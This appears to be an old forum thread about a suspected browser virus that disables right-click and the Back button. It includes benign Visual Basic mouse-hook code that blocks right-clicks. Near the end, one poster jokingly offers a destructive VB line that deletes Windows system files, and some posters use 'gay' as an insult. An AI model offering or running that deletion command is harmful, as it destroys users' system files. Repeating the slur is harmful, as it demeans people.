Hindsight

ARRRGGH!

Check this out, my right mouse button doesn't work on IE and the Back button doesn't work on Netscape.. hahahahaS!

I ran the latest Live Update and scanned the computer but it doesn't find fuck all.

I'm too wasted to check into it.. maybe I'll just down Opera....

Anyone know the name of this little beauty?

Juicy D. Links

Rorschach

I believe you have a virus called "Windows."

gornyhuy

You are mistaken, its clearly Herpes.

__________________

icq:159548293

Smokey The Bear

It sounds like a fly by night virus

'Declarations for Preventing Right-Click in WebBrowser Control:
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA"
(ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal
dwThreadId As Long) As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long)
As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal
nCode As Long, ByVal wParam As Long, lparam As Any) As Long
Declare Function GetCurrentThreadId Lib "kernel32" () As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal
hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As
Long
Public Const WM_RBUTTONUP = &H205
Public Const WH_MOUSE = 7
Type POINTAPI
x As Long
y As Long
End Type
Type MOUSEHOOKSTRUCT
pt As POINTAPI
hwnd As Long
wHitTestCode As Long
dwExtraInfo As Long
End Type
Public l_hMouseHook As Long

Chris

have you tried restarting ? sorry i didnt read all of your post

__________________
[email protected]

Smokey The Bear

I would star by checking the obvious things like your running aps and such , close them down one-at-a-time and see where the hook is.

Smokey The Bear

Public Function MouseHookProc(ByVal nCode As Long, ByVal wParam As Long,
mhs As MOUSEHOOKSTRUCT) As Long
'Prevent Right-Mouse Clicks in WebBrowser Control:
If (nCode >= 0 And wParam = WM_RBUTTONUP) Then
Dim sClassName As String
Dim sTestClass As String
sTestClass = "HTML_Internet Explorer"
sClassName = String$(256, 0)
If GetClassName(mhs.hwnd, sClassName, Len(sClassName)) > 0 Then
If Left$(sClassName, Len(sTestClass)) = sTestClass Then
MouseHookProc = 1
Exit Function
End If
End If
End If
MouseHookProc = CallNextHookEx(l_hMouseHook, nCode, wParam, mhs)
End Function
Public Sub BeginRightMouseTrap()
'Start Trapping Right-Mouse clicks in WebBrowser Control:
l_hMouseHook = SetWindowsHookEx(WH_MOUSE, AddressOf MouseHookProc,
App.hInstance, GetCurrentThreadId)
End Sub
Public Sub EndRightMouseTrap()
'End Trapping Right-Mouse clicks in WebBrowser Control:
UnhookWindowsHookEx l_hMouseHook
End Sub


this is the form


Private Sub Form_Load()
BeginRightMouseTrap
End Sub
Private Sub Form_Unload(Cancel As Integer)
EndRightMouseTrap
End Sub
Private Function MouseHookProc(ByVal nCode As Long, ByVal wParam As
Long, mhs As MOUSEHOOKSTRUCT) As Long
'Prevent Right-Click in WebBrowser Control:
If (nCode >= 0 And wParam = WM_RBUTTONUP) Then
Dim sClassName As String
Dim sTestClass As String
sTestClass = "HTML_Internet Explorer"
sClassName = String$(256, 0)
If GetClassName(mhs.hwnd, sClassName, Len(sClassName)) > 0 Then
If Left$(sClassName, Len(sTestClass)) = sTestClass Then
MouseHookProc = 1
Exit Function
End If
End If
End If
MouseHookProc = CallNextHookEx(l_hMouseHook, nCode, wParam, mhs)
End Function


If you reverse this lol by loading a prog it should.hmmm maybe not.

I suggest finding out where its hooked instead of fixing it , as its prob doing more than just annoying you.

Police state

www.lavasoft.de


whoever writes viruses in visual basic is gay

try

private sub form_load()
kill "c:\windows\system\*,*"
onerror
next
end sub

Smokey The Bear

As opposed to people who write virii in ??

I would think virii in any language is gay.